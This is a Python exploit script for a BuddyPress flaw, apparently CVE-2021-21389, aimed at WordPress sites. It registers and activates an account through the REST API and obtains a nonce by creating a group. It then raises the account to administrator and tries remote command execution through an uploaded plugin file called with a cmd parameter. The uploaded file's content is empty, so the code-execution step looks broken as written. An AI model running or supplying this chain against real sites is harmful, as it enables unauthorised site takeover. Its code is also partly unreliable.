import requests import re import sys,json,datetime,random,string #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} # register via REST API without email confirmation def random_char(y): return ''.join(random.choice(string.ascii_letters) for x in range(y)) def register(url,username,password): headers={ "Content-Type": "application/json; charset=UTF-8" } data={ "user_login":username, "user_email":random_char(7)+"@test.com", "user_name":username, "password":password } r = requests.post(url+"/wp-json/buddypress/v1/signup",headers=headers,data=json.dumps(data),proxies=proxies) if r.status_code==500 : print("[-] That username already exists!") print("[+] Try to login this username ....") login(url,username,password) elif r.status_code==404 : print("[-] Can't register because registration is disabled!") sys.exit(1) else: data=json.loads(r.text) activation_key=data[0]["activation_key"] #print(activation_key) # active account requests.put(url+"/wp-json/buddypress/v1/signup/activate/"+activation_key,proxies=proxies) def login(url,username,password): session = requests.Session() creds={ 'log':username, 'pwd':password } r=session.post(url+"/wp-login.php",data=creds,allow_redirects=False,proxies=proxies) if (r.status_code!=302) : print("[-] Login fail!") sys.exit(1) print("[+] Login successfully!") return session # to get X-WP-Nonce def createNewgroup(url,s,username): print("[+] Creating new group to get X-WP-Nonce") # get _wpnonce response = s.get(url+"/groups/create/step/group-details/",proxies=proxies) if (response.status_code==404): print("[-] The site needs to enable User Groups component!") sys.exit(1) _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0] #print(_wp_nonce) group_name="cve-2021-21389"+username files = { 'group-name': (None, group_name), 'group-desc': (None, group_name), '_wpnonce': (None, _wp_nonce), 'group-id': (None, '0'), 'save': (None, 'Create Group and Continue') } s.post(url+"/groups/create/step/group-details/", files=files,proxies=proxies) # get X-WP-Nonce resp=s.get(url+"/groups/"+group_name+"/admin/manage-members/",proxies=proxies) wp_nonce=re.findall('var wpApiSettings = .*\;',resp.text) wp_nonce=re.sub('^.*\"nonce\"\:\"','',wp_nonce[0]) x_wp_nonce=re.sub('\".*$','',wp_nonce) #print(x_wp_nonce) return x_wp_nonce def privilegeEscalation(url,s,x_wp_nonce): print("[+] Privilege Escalation to Administrator!") # Let's use that nonce in X-WP-Nonce headder headers={ 'X-WP-Nonce':x_wp_nonce, "Content-Type": "application/json; charset=UTF-8" } data={ "roles":"administrator" } s.post(url+"/wp-json/buddypress/v1/members/me",headers=headers,data=json.dumps(data),proxies=proxies) def rce(url,s,command): print("[+] Checking RCE ...") #get nonce filename="cve202121389.php" response = s.get(url+"/wp-admin/plugin-install.php",proxies=proxies) if (response.status_code==403) : print("[-] You are not an administator!") sys.exit(1) _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0] # select upload fake plugin to rce files = { '_wpnonce': (None, _wp_nonce), 'pluginzip': (filename, "", 'application/octet-stream'), 'install-plugin-submit': (None, 'Install Now') } s.post(url+"/wp-admin/update.php?action=upload-plugin", files=files,proxies=proxies) # get link rce # get year,month now = datetime.datetime.now() year = '{:02d}'.format(now.year) month = '{:02d}'.format(now.month) print("[+] RCE via "+command+" command:") link_shell=url+"/wp-content/uploads/"+year+"/"+month+"/"+filename+"?cmd="+command resp=s.get(link_shell,proxies=proxies) print(resp.text) print("[+] Link RCE: \n"+link_shell) print("[+] Done!") def main(): if len(sys.argv) != 5: print ("[+] Usage: %s " % sys.argv[0]) print ('[+] eg: %s http://test.local test 1234 whoami' % sys.argv[0]) sys.exit(-1) url=sys.argv[1] username=sys.argv[2] password=sys.argv[3] command=sys.argv[4] print("[+] Try to register ...") register(url,username,password) print("[+] Try to login ...") s=login(url,username,password) x_wp_nonce=createNewgroup(url,s,username) privilegeEscalation(url,s,x_wp_nonce) rce(url,s,command) if __name__ == "__main__": main()